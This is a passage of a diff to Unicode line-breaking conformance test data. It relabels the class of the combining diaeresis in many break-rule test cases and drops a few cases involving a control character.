× 0024 × 0020 ÷ 0E01 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0024 × 0308 × 0E01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [24.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0024 × 0308 × 0E01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0024 × 3041 ÷ # × [0.3] DOLLAR SIGN (PR) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0024 × 0020 ÷ 3041 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0024 × 0308 × 3041 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0024 × 0308 × 3041 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0022 × 0023 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] NUMBER SIGN (AL) ÷ [0.3]
× 0022 × 0020 ÷ 0023 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0022 × 0308 × 0023 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] NUMBER SIGN (AL) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0022 × 0308 × 0023 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] NUMBER SIGN (AL) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0022 × 2014 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] EM DASH (B2) ÷ [0.3]
× 0022 × 0020 ÷ 2014 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0022 × 0308 × 2014 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] EM DASH (B2) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0022 × 0308 × 2014 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] EM DASH (B2) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0022 × 0009 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0022 × 0020 ÷ 0009 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0022 × 0308 × 0009 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0022 × 0308 × 0009 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0022 × 00B4 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] ACUTE ACCENT (BB) ÷ [0.3]
× 0022 × 0020 ÷ 00B4 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0022 × 0308 × 00B4 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] ACUTE ACCENT (BB) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0022 × 0308 × 00B4 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] ACUTE ACCENT (BB) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0022 × 000B ÷ # × [0.3] QUOTATION MARK (QU) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0022 × 0020 × 000B ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0022 × 0308 × 000B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0022 × 0308 × 0020 × 000B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0022 × 0308 × 000B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0022 × 0308 × 0020 × 000B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0022 × FFFC ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0022 × 0020 ÷ FFFC ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0022 × 0308 × FFFC ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0022 × 0308 × FFFC ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0022 × 007D ÷ # × [0.3] QUOTATION MARK (QU) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0022 × 0020 × 007D ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0022 × 0308 × 007D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0022 × 0308 × 0020 × 007D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0022 × 0308 × 007D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0022 × 0308 × 0020 × 007D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0022 × 0029 ÷ # × [0.3] QUOTATION MARK (QU) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0022 × 0020 × 0029 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0022 × 0308 × 0029 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0022 × 0308 × 0020 × 0029 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0022 × 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0022 × 0020 ÷ 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0022 × 0308 × 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0022 × 0308 × 0029 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0022 × 0308 × 0020 × 0029 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0022 × 000D ÷ # × [0.3] QUOTATION MARK (QU) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0022 × 0020 × 000D ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0022 × 0308 × 000D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0022 × 0308 × 0020 × 000D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0022 × 0308 × 000D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0022 × 0308 × 0020 × 000D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0022 × 0021 ÷ # × [0.3] QUOTATION MARK (QU) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0022 × 0020 × 0021 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0022 × 0308 × 0021 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0022 × 0308 × 0020 × 0021 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0022 × 0308 × 0021 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0022 × 0308 × 0020 × 0021 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0022 × 00A0 ÷ # × [0.3] QUOTATION MARK (QU) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0022 × 0020 ÷ 00A0 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0022 × 0308 × 00A0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0022 × 0308 × 00A0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0022 × AC00 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0022 × 0020 ÷ AC00 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0022 × 0308 × AC00 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0022 × 0308 × AC00 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0022 × AC01 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0022 × 0020 ÷ AC01 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0022 × 0308 × AC01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0022 × 0308 × AC01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0022 × 05D0 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0022 × 0020 ÷ 05D0 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0022 × 0308 × 05D0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0022 × 0308 × 05D0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0022 × 002D ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0022 × 0020 ÷ 002D ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0022 × 0308 × 002D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 002D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0022 × 0308 × 002D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 002D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0022 × 231A ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] WATCH (ID) ÷ [0.3]
× 0022 × 0020 ÷ 231A ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0022 × 0308 × 231A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] WATCH (ID) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 231A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0022 × 0308 × 231A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] WATCH (ID) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 231A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0022 × 2024 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] ONE DOT LEADER (IN) ÷ [0.3]
× 0022 × 0020 ÷ 2024 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0022 × 0308 × 2024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] ONE DOT LEADER (IN) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0022 × 0308 × 2024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] ONE DOT LEADER (IN) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0022 × 002C ÷ # × [0.3] QUOTATION MARK (QU) × [13.02] COMMA (IS) ÷ [0.3]
× 0022 × 0020 × 002C ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0022 × 0308 × 002C ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0022 × 0308 × 0020 × 002C ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0022 × 0308 × 002C ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0022 × 0308 × 0020 × 002C ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0022 × 1100 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0022 × 0020 ÷ 1100 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0022 × 0308 × 1100 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0022 × 0308 × 1100 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0022 × 11A8 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0022 × 0020 ÷ 11A8 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0022 × 0308 × 11A8 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0022 × 0308 × 11A8 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0022 × 1160 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0022 × 0020 ÷ 1160 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0022 × 0308 × 1160 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0022 × 0308 × 1160 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0022 × 000A ÷ # × [0.3] QUOTATION MARK (QU) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0022 × 0020 × 000A ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0022 × 0308 × 000A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0022 × 0308 × 0020 × 000A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0022 × 0308 × 000A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0022 × 0308 × 0020 × 000A ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0022 × 0085 ÷ # × [0.3] QUOTATION MARK (QU) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0022 × 0020 × 0085 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0022 × 0308 × 0085 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0022 × 0308 × 0020 × 0085 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0022 × 0308 × 0085 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
